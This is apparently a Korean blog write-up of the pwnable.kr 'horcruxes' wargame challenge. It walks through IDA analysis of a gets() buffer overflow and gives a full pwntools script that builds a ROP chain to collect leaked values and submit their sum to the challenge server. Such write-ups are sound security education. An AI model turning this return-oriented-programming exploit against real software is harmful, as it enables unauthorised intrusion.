Pwnstar

Pwnable.kr horcruxes 본문

Pwnable.kr/Toddler's Bottle

Pwnable.kr horcruxes

포너블처돌이 2020. 3. 21. 15:42

호크룩스..해리포터에 나오는 볼트모트의 영혼을 조각내 넣어놓은 물건들을 호크룩스라고 하던데..

 

 

ROP문제란다ㅎㅎㅎㅎ

 

접속해보니 소스코드가 없고 readme 파일이 있길래 한번 봤다.

 

음 별건 없고 nc로도 접속할 수 있다. 그러면 바이너리를 빼와서 IDA에 넣어봐야겠다.

 

IDA

 

메인 함수에는 별다른 단서가 없다.

 

init_ABCDEFG() 함수를 보자

랜덤값으로 a, b, c, d, e, f, g, v0 의 값이 정해지나보다. 이 값들을 모두 더한 값이 sum이라는 전역변수에 들어간다.

 

그 다음 ropme 함수를 들여다보자 이 함수가 사실상 메인일듯 하니.

 

이렇게 생겼다.

 

메뉴를 선택하라는 말이 나오는데, 아까 init_ABCDEFG 함수에서 나오는 값들을 메뉴에 입력으로 줘야 각 함수에 도달할 수 있는데 메뉴가 반복문 안에 있지도 않아서 메뉴는 한번밖에 실행이 안된다.

 

즉 모든 함수들을 rop로 거쳐가면서 얻은 값들을 마지막에 입력해줘야 익스가 될 듯 하다.

 

처음 메뉴를 입력받는 부분은 scanf이고, 그 뒤에 gets로 입력 받는 부분이 있으니 이 부분을 통해 rop를 진행하면 될 것 같다.

 

이렇게 함수 주소들을 알아놓고, 순서대로 엮으면 끝날것 같다.

 

익스

from pwn import *

#p = process("./horcruxes")
p = remote("pwnable.kr", 9032)

p.recvuntil("Select Menu:")
p.sendline("1")
p.recvuntil("How many EXP did you earned? : ")

A = 0x0809fe4b
B = 0x0809fe6a
C = 0x0809fe89
D = 0x0809fea8
E = 0x0809fec7
F = 0x0809fee6
G = 0x0809ff05
ropme = 0x0809FFFC

payload = "A"*120
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ropme)

p.sendline(payload)

exp = 0

for i in range(7):
    print(p.recvuntil("+"))
    exp += int(p.recvuntil(")")[:-1])
log.info("total exp = " + str(exp))

p.recvuntil("Select Menu:")
p.sendline("1")
p.recvuntil("How many EXP did you earned? : ")

p.sendline(str(exp))

p.interactive()

 

이렇게 해서 돌리면

 

끗!!

'Pwnable.kr > Toddler's Bottle' 카테고리의 다른 글

Pwnable.kr note  (0) 2020.06.05
Pwnable.kr asm  (0) 2020.03.22
Pwnable.kr blukat  (0) 2020.03.21
Pwnable.kr unlink  (0) 2020.03.20
Pwnable.kr uaf  (0) 2020.03.17
Comments